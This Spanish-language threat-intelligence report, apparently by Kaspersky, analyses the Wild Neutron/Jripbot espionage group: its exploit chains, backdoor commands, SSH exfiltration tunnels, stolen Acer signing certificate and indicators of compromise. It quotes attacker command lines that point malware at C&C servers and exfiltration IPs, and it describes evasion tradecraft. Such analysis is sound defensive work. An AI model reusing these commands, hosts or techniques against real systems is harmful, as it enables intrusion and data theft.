Ataca usando certificados robados de Acer y un exploit de Flash Player
Indicators of Compromise (IOC)
El poderoso actor Wild Neutron (también conocido como “Jripbot” y “Morpho“) ha estado activo al menos desde 2011, infectando compañías de alto perfil por varios años con una combinación de exploits, abrevaderos y malware de plataformas múltiples.
La última ronda de ataques en 2015 usa un certificado para firmar códigos que pertenece al fabricante de electrónicos Acer y un exploit desconocido de Flash Player.
Wild Neutron tomó predominancia en 2013, cuando infectó con éxito a compañías como Apple, Facebook, Twitter y Microsoft. El ataque aprovechó un exploit de día cero de Java y usó los foros comprometidos como abrevaderos. El incidente de 2013 tuvo mucha publicidad y, como resultado, la amenaza se desconectó por casi un año.
A finales de 2013 y principios de 2014, los ataques volvieron a aparecer y continuaron durante 2015. Los blancos de los nuevos ataques incluyen:
- Bufetes de abogados
- Empresas de Bitcoins
- Compañías inversoras
- Grandes grupos corporativos involucrados a menudo en fusiones y adquisiciones
- Compañías informáticas
- Empresas de salud
- Bienes raíces
- Usuarios individuales
El foco de estos ataques sugiere que este no es un actor patrocinado por un estado-nación. Sin embargo, el uso de vulnerabilidades de día cero, malware de plataformas múltiples y otras técnicas nos hace creer que es una entidad poderosa involucrada en espionaje, tal vez por razones económicas.
Operaciones antiguas (2013)
Durante los ataques de 2013, el actor Wild Neutron comprometió y utilizó el sitio web www.iphonedevsdk[.]com, un foro de desarrolladores de iPhone.
Los atacantes inyectaron un script en el foro que redirigía a los visitantes a otro sitio web (min.liveanalytics[.]org – que Kaspersky Lab ya tiene aislado en un sumidero) que alojaba un exploit de día cero de Java. Un ataque similar también se encontró en otro foro dedicado a desarrolladores de Linux: fedoraforum[.]org. Para un análisis más detallado de estos ataques de 2013, visita el blog de Eric Romang: http://eromang.zataz.com/2013/02/20/facebook-apple-twitter-watering-hole-attack-additional-informations/.
Otros foros comprometidos por el grupo Wild Neutron e identificados en informes de Kaspersky Security Network son:
- expatforum.com
- mygsmindia.com
- forum.samdroid.net
- emiratesmac.com
- forums.kyngdvb.com
- community.flexispy.com
- ansar1.info
Dos de ellos llaman la atención en particular: “community.flexispy[.]com” y “ansar1[.]info“. El primero es una comunidad manejada por Flexispy, una compañía que vende programas espías para dispositivos móviles. El segundo es un foro yihadista que ahora está cerrado.
Wild Neutron repartía inyecciones con ansar1[.]info en 2013
En 2013, los atacantes también tomaron el control de una puerta trasera de Mac OS X conocida como OSX/Pintsized. Esto también se describe en detalle en el magnífico blog de Eric Romang: http://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/. La misma puerta trasera, compilada para Win32, sigue usándose en los ataques de 2015.
Algunas de las víctimas más prominentes del ataque de 2013 fueron Twitter, Facebook, Apple y Microsoft. La prensa hizo un amplio seguimiento de estas intrusiones y algunas de las compañías afectadas publicaron declaraciones sobre lo ocurrido (aquí puedes ver las declaraciones de Facebook).
No es común que se ataque a grandes compañías como Facebook, Twitter, Apple y Microsoft, pero tampoco es del todo único. Pero la falta de víctimas en otros sectores, como instituciones diplomáticas y gubernamentales, sí es inusual. Esto nos hace pensar que no se trata de un ataque patrocinado por un gobierno.
Análisis técnico
El malware que usa el actor de amenazas Wild neutron tiene varios grupos de componentes, entre ellos:
- Un módulo de puerta trasera que inicia las comunicaciones con un servidor C&C
- Varios módulos de recolección de información
- Herramientas de explotación
- Herramientas de exfiltración basadas en SSH
- Cargadores intermediarios y descargadores que descifran y ejecutan las cargas nocivas
Aunque personalizados, algunos módulos parecen tener una fuerte base en herramientas de código abierto (por ejemplo, el descargador de contraseñas se asemeja al código de herramientas Mimikatz y Pass-The-Hash) y malware comercial (el módulo proxy HTTPS es casi idéntico al que usa Hesperbot).
Todas las comunicaciones C&C están cifradas con un protocolo personalizado. Los ejecutables que se descargan, así como algunas de las cadenas de caracteres integradas en el código, suelen estar ofuscadas con XOR (depende de la versión del bot). El módulo principal de la puerta trasera contiene varias técnicas de evasión diseñadas para detectar y detener las cajas de arena y motores de emulación.
Explotación – 2015
El vector inicial de infección de los ataques de 2014-2015 sigue sin conocerse, aunque hay indicaciones claras de que se explota a las víctimas con paquetes que aprovechan un exploit desconocido de Flash Player.
En uno de los ataques se encontró la siguiente cadena de explotación:
Sitio | hxxp://cryptomag.mediasource.ch/ |
Rutas | /favicon.ico /msie9html5.jpg /loader-large.gif /bootstrap.min.css /stats.js?d=1434374526478 /autoload.js?styleid=20&langid=5&sid=883f2efa&d=1434374526 /banner.html?styleid=19&langid=23&sid=883f2efa&d=1434374526 /883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533 /883f2efa/pzixfgne?styleid=5&langid=25&sid=883f2efa&d=1434374533 /883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533/ /background.jpg |
Parece que el subdominio cryptomag.mediasource[.]ch se creó para este ataque; dirigía a una dirección IP asociada con otros C&Cs de Wild Neutron, que aparecen resaltados de rojo abajo:
Anfitriones que responden a 66.55.133[.]89
Mientras que app.cloudprotect[.]eu y ssl.cloudprotect[.]eu son dos C&Cs conocidos de Wild Neutron, cryptomag.mediasource[.]ch parece apuntar a esta IP con el propósito de explotarla. Puede observarse otro dominio sospechoso arriba, secure.pdf-info[.]com. Todavía no hemos visto ningún ataque vinculado con este nombre de dominio, pero el esquema del nombre indica que también es malicioso.
En otro ataque, observamos una cadena de explotación similar, pero alojada en otro sitio web, hxxp://find.a-job.today/.
En ambos casos, los visitantes habían buscado el sitio web o llegado a él mediante un anuncio en Internet. En ambos casos aparece “autoload.js”, que redirige a otro fichero con un nombre HTML generado al azar, que después carga un fichero SWF de nombre aleatorio.
Mientras que el grupo usó ataques abrevadero en 2013, todavía no se sabe cómo se redirigió a las víctimas a los paquetes de explotación en los nuevos ataques de 2014 a 2015. En vez de exploits Flash, los abrevaderos y versiones más antiguas de Wild Neutron usaban a finales de 2012 y principios de 2013 una vulnerabilidad de día cero de Java que los productos Kaspersky Lab detectan como Exploit.Java.CVE-2012-3213.b.
El instalador de malware principal
La funcionalidad del instalador principal es simple: descifra el ejecutable de la puerta trasera (guardado como recurso y cifrado con un XOR 0x66 simple), lo escribe en una ruta específica y lo ejecuta con parámetros que están codificados de forma rígida en el cuerpo del instalador. Uno de los parámetros es la dirección URL del servidor C&C, mientras que otros contienen varias opciones de configuración del bot.
Ejemplos de parámetros que usa el instalador:
igfxupt.exe https://app.cloudprotect[.]eu:443 /opts resolv=logs.cloudprotect[.]eu
Después de ejecutar la puerta trasera, el instalador se elimina de forma segura al sobreescribir su contenido con números aleatorios varias veces antes de cambiar el nombre del archivo y eliminarlo.
La puerta trasera principal (también conocida como “Jripbot”)
Este binario está ejecutado con la dirección URL del servidor C&C como parámetro; también puede recibir una configuración de bot opcional. Después se hace un doble cifrado a esta información – primero con RC4 y después con la función Windows CryptProtectData – y se la guarda en el registro.
Antes de realizar cualquier otra actividad, el malware ejecuta su código de estancamiento (diseñado para huir de los emuladores), después realiza varias revisiones en busca de cajas de arena y entra en un bucle infinito si encuentra programas no deseados ejecutándose en el sistema.
De lo contrario, recolecta información básica del sistema:
- Versión del sistema operativo
- Si el programa se ejecuta bajo WOW64
- Si el usuario actual tiene privilegios de administrador
- Las características de seguridad de Windows que están activadas
- Nombre de usuario y nombre de ordenador
- Nombre del servidor y grupo LAN
- Información sobre controladores lógicos
- Tiempo de actividad e inactividad del sistema
- Navegador web predeterminado
- Configuración Proxy
En base a esta información, el malware genera una identificación única para la víctima e inicia la comunicación con el C&C enviando el valor ID y esperando sus órdenes.
Las opciones de configuración de la puerta trasera pueden incluir la dirección y credenciales del servidor proxy, valores de suspensión/retraso y tipo de conexión, pero la más interesante es la opción resolv=[url]. Si esta opción está activa, el malware genera un nombre de dominio que consiste en un nombre de ordenador, ID única y URL que se pasa con esta opción; después trata de resolver la dirección IP de este dominio. Sospechamos que este es el método que los atacantes usan para enviar el UID generado al C&C.
El C&C puede ordenar al bot que realice las siguientes acciones:
- Cambiar el directorio actual al solicitado
- Ejecutar un comando arbitrario en la línea de comandos
- Establecer por sí mismo el valor autorun en el registro
- Eliminar por sí mismo el valor autorun del registro
- Destruir el fichero solicitado (sobreescribir el contenido del fichero con números al azar, sobreescribir el nombre del fichero con ceros y eliminarlo)
- Descargar un fichero de Internet y guardarlo (puede ser cifrado) al disco
- Instalar o desinstalar complementos de malware adicionales
- Recolectar y enviar información del sistema
- Enumerar controladores
- Establecer el valor de tiempo de suspensión
- Actualizar la configuración
- Actualizarse a sí mismo
- Salir
Versiones más antiguas de esta puerta trasera, que se usaron en los ataques de 2013, tenían unas cuántas funcionalidades más:
- Recolectar contraseñas
- Escanear puertos
- Tomar capturas de pantalla
- Enviar ficheros a un C&C
- Shell inversa
Estas características se eliminaron de las nuevas versiones de la puerta trasera que se usaron en los ataques más recientes. Los desarrolladores de malware decidieron implementar un mecanismo de plugin en su lugar y ejecutar diferentes herramientas para las diferentes tareas. Esto indica un vuelco claro hacia una arquitectura modular más flexible.
En cuestiones de funcionalidad, la puerta trasera no difiere de muchas otras Herramientas de Acceso Remoto (RATs). Lo que más llama la atención es el cuidado del atacante para esconder la dirección C&C, cifrándola en el registro con información que depende del equipo. También es notable su habilidad de recuperarse de cierres de C&C al ponerse en contacto con un nombre de dominio generado de forma dinámica que sólo los atacantes conocen con anterioridad, ya que tiene una conexión directa con cada una de las víctimas.
Las marcas de tiempo indican que la distribución de los ejemplares es de la siguiente manera:
Parece que cada puerta trasera contiene un número de versión interno, que oscila entre 11000 y 16000 en los ejemplares más recientes. Esto nos permite rastrear el siguiente mapa evolutivo:
Puertas traseras usadas en los ataques de 2013:
MD5 | Marca de tiempo | Versión | Filename | Tamaño |
1582d68144de2808b518934f0a02bfd6 | 29 Nov 2012 | 11000 | javacpl.exe | 327168 |
14ba21a3a0081ef60e676fd4945a8bdc | 30 Nov 2012 | 12000 | javacpl.exe | 329728 |
0fa3657af06a8cc8ef14c445acd92c0f | 09 Jan 2013 | 13000 | javacpl.exe | 343552 |
Backdoors used in 2014 and 2015 attacks:
MD5 | Marca de tiempo | Versión | Filename | Tamaño |
95ffe4ab4b158602917dd2a999a8caf8 | 13 Dec 2013 | 14014 | LiveUpdater.exe | 302592 |
342887a7ec6b9f709adcb81fef0d30a3 | 20 Jun 2014 | 15013 | FlashUtil.exe | 302592 |
dee8297785b70f490cc00c0763e31b69 | 02 Aug 2013 (possibly fake) |
16010 | IgfxUpt.exe | 291328 |
f0fff29391e7c2e7b13eb4a806276a84 | 27 Oct 2014 | 16017 | RtlUpd.exe | 253952 |
Los instaladores también tienen un número de versión que indica la siguiente evolución:
MD5 | Marca de tiempo | Versión |
1f5f5db7b15fe672e8db091d9a291df0 | 16 Dec 2011 | 1.4.1 |
48319e9166cda8f605f9dce36f115bc8 | 28 Sep 2012 | 1.5.0 |
088472f712d1491783bbad87bcc17c48 | 12 Apr 2013 | 1.6.3 |
ee24a7ad8d137e54b854095188de0bbf | 07 Jan 2014 | 1.6.4 |
Movimiento lateral
Después de instalar la puerta trasera principal y establecer comunicaciones C2 iniciales, los atacantes utilizan varias herramientas diferentes para extraer datos privados y controlar el equipo de la víctima. Estas herramientas incluyen un troyano recolector de contraseñas, una puerta trasera shell inversa e implementaciones personalizadas de OpenSSH, WMIC y SMB. A veces, sólo descargan un shell inverso perl y usan varios métodos de recolección para conseguir las credenciales de un grupo de equipos, escalar privilegios y desplazarse en una red. Además de estas herramientas, hay pequeños módulos de herramientas con diferentes capacidades, desde herramientas de carga y configuración hasta destructores de ficheros y proxies de red.
También vale la pena notar que este actor de ataque depende mucho de códigos existentes porque usa aplicaciones de código abierto disponibles al público y herramientas de metasploit y fuentes de malware filtrados, para construir su propio set de herramientas. Algunas de estas herramientas están diseñadas para funcionar con Cygwin y se unen al Cygwin API DLL, lo que podría indicar que los atacantes se sienten más cómodos cuando trabajan en un ambiente como el de Linux.
Puerta trasera de túnel SSH
Durante los ataques de 2014/2015, observamos que los atacantes desplegaban puertas traseras Win32 de túnel personalizadas y basadas en OpenSSH que se usan para exfiltrar grandes cantidades de datos de una forma confiable. Estas puertas traseras de túnel están escritas como “updt.dat” y ejecutadas con dos parámetros, -z and -p. Especifican la IP y puerto al que se debe conectar. A pesar del número de puerto 443, la conexión es SSH:
- /d /u /c updt.dat -z 185.10.58.181 -p 443
- /d /u /c updt.dat -z 46.183.217.132 -p 443
- /d /u /c updt.dat -z 217.23.6.13 -p 443
La puerta trasera SSH de túnel contiene una llave RSA privada integrada de forma rígida en el código.
Certificado robado
Durante los ataques de 2015, Wild Neutron usó un instalador firmado con un certificado de Acer robado, pero válido.
Firma de Acer en un instalador Wild Neutron
El certificado abusado tiene las siguientes propiedades:
Número de serie: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80
Huella digital: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07
Parece que el instalador (dbb0ea0436f70f2a178a60c4d8b791b3) se firmó el 13 de junio de 2015. Instala una puerta trasera Jripbot como “IgfxUpt.exe” y la configura para usar el C&C “app.cloudprotect[.]eu”.
Hemos estado trabajando con Symantec, Verisign y Acer para revocar los certificados comprometidos.
Víctimas y estadísticas
Da la impresión que los ataques de Wild Neutron se dirigen a víctimas muy específicas. En nuestra investigación, identificamos a varias víctimas en 11 países y territorios:
- Francia
- Rusia
- Suiza
- Alemania
- Austria
- Palestina
- Eslovenia
- Kazajistán
- Emiratos Árabes Unidos
- Algeria
- Estados Unidos
Las víctimas de las versiones 2014-2015 suelen ser compañías de informática y bienes raíces/inversiones, y en todos los casos sólo se afectó a una pequeña cantidad de ordenadores de las organizaciones. Parece que los atacantes han actualizado el implante de malware y desplegado herramientas adicionales. Sin embargo, no hemos visto ningún movimiento lateral llamativo en estos casos.
Atribución
El ataque a varias compañías que no tienen un enfoque gubernamental nos hace creer que ésta no es una APT patrocinada por un gobierno. Los atacantes también han mostrado un interés en los usuarios que trabajan con inversiones, lo que demuestra que tienen una base de conocimientos y habilidades que les permiten explotar esta información en el mercado para convertirlo en una ventaja financiera.
En algunos casos, la configuración cifrada incluye una cadena de caracteres en rumano que se usa para marcar el fin de las comunicaciones C&C:
Es curioso que “La revedere” significa “adiós” en rumano. Además, encontramos otra cadena de caracteres que es la transcripción latina de la palabra rusa Успешно (“uspeshno” -> “con éxito”); esta cadena se escribe después de ejecutar una de las órdenes del C2.
Uno de los ejemplares tiene el nombre interno “WinRAT-Win32-Release.exe”. Esto indica que el autor ha llamado al malware “WinRAT”.
Los clientes de Kaspersky Intelligence Services tienen a su disposición más información sobre la atribución de Wild Neutron. Para solicitarla, puedes escribir a: intelreports@kaspersky.com
Conclusiones
Wild Neutron es uno de los grupos más inusuales que he analizado y rastreado. Activo desde 2011, ha estado usando al menos un exploit de día cero, malware personalizado y herramientas que le permitieron mantener una operación de seguridad bastante sólida que hasta ahora va más allá de los esfuerzos de atribución. El que ataquen a grandes compañías de informática, desarrolladores de programas espía (FlexiSPY), foros de jihadistas (el “Ansar Al-Mujahideen English Forum”) y compañías de Bitcoin indica una mentalidad e intereses flexibles, unque inusuales.
Algunas de las características distintivas del grupo son:
- Uso de herramientas de código abierto y fuentes filtradas de otros programas maliciosos
- Uso de certificados robados de Acer Incorporated para firmar malware
- Uso de exploits del día cero de plataformas cruzadas (Java y Flash), seguidos por una carga explosiva compuesta por un shell inverso (Perl) de plataformas cruzadas para la intrusión inicial
- Uso de un código *NIX en Windows mediante Cygwin
- Uso pesado de SSH para exfiltraciones, una herramienta de administración *NIX de uso común.
- Uso de API CryptProtectData para mantener las URL C&C en secreto
- Una interfaz simple de comandos de línea, construida en torno a todos los componentes del malware y que utiliza las canalizaciones con nombre para establecer comunicaciones entre módulos
- Herramientas auxiliares están escritas en C y la mayoría de ellas contiene ayuda integrada, que puede imprimirse ejecutando el binario con un parámetro “–pleh”
Seguimos rastreando al grupo Wild Neutron, que sigue activo en junio de 2015.
Los productos Kaspersky detectan al malware que se usa en los ataques como:
HEUR:Trojan.Win32.WildNeutron.gen, Trojan.Win32.WildNeutron.*, Trojan.Win32.JripBot.*, HEUR:Trojan.Win32.Generic
Aquí puedes leer más sobre cómo los productos Kaspersky Lab pueden protegerte de la amenaza de Wild Neutron:
Wild Neutron está suelto: podrías ser su próxima víctima
Indicadores de infección (IOCs)
Hostnames y dominios maliciosos conocidos:
ddosprotected.eu
updatesoft.eu
app.cloudprotect.eu
fw.ddosprotected.eu
logs.cloudprotect.eu
ssl.cloudprotect.eu
ssl.updatesoft.eu
adb.strangled.net
digitalinsight-ltd.com
ads.digitalinsight-ltd.com
cache.cloudbox-storage.com
cloudbox-storage.com
clust12-akmai.net
corp-aapl.com
fb.clust12-akmai.net
fbcbn.net
img.digitalinsight-ltd.com
jdk-update.com
liveanalytics.org
min.liveanalytics.org
pop.digitalinsight-ltd.com
ww1.jdk-update.com
find.a-job.today
cryptomag.mediasource.ch
IPs maliciosas conocidas:
185.10.58.181
46.183.217.132
64.187.225.231
62.113.238.104
66.55.133.89
217.23.6.13
Nombres conocidos de ficheros:
%APPDATA%RoamingFlashUtil.exe
%APPDATA%RoamingAcerLiveUpdater.exe
%APPDATA%RoamingRealtekRtlUpd.exe
%ProgramData%RealtekRtlUpd.exe
%APPDATA%Roamingsqlite3.dll (UPX packed)
%WINDIR%winsession.dll
%APPDATA%appdatalocaltempteamviewerversion9update.exe
%SYSTEMROOT%temp_dbg.tmp
%SYSTEMROOT%tempok.tmp
C:windowstempdebug.txt
C:windowssyswow64mshtaex.exe
%SYSROOT%System32mshtaex.exe
%SYSROOT%System32wdigestEx.dll
%SYSROOT%System32dpcore16t.dll
%SYSROOT%System32iastor32.exe
%SYSROOT%System32mspool.dll
%SYSROOT%System32msvcse.exe
%SYSROOT%System32mspool.exe
C:Program Files (x86)LNVSuiteLnrAuth.dll
C:Program Files (x86)LNVSuiteLnrAuthSvc.dll
C:Program Files (x86)LNVSuiteLnrUpdt.exe
C:Program Files (x86)LNVSuiteLnrUpdtP.exe
DF39527~.tmp
Canalizaciones con nombre:
.pipewinsession
.pipelsassw
Eventos y exclusiones mutuas:
GlobalLnrRTPDispatchEvents
_Winlogon_TCP_Service
Wild Neutron – El actor de espionaje económico regresa con nuevos trucos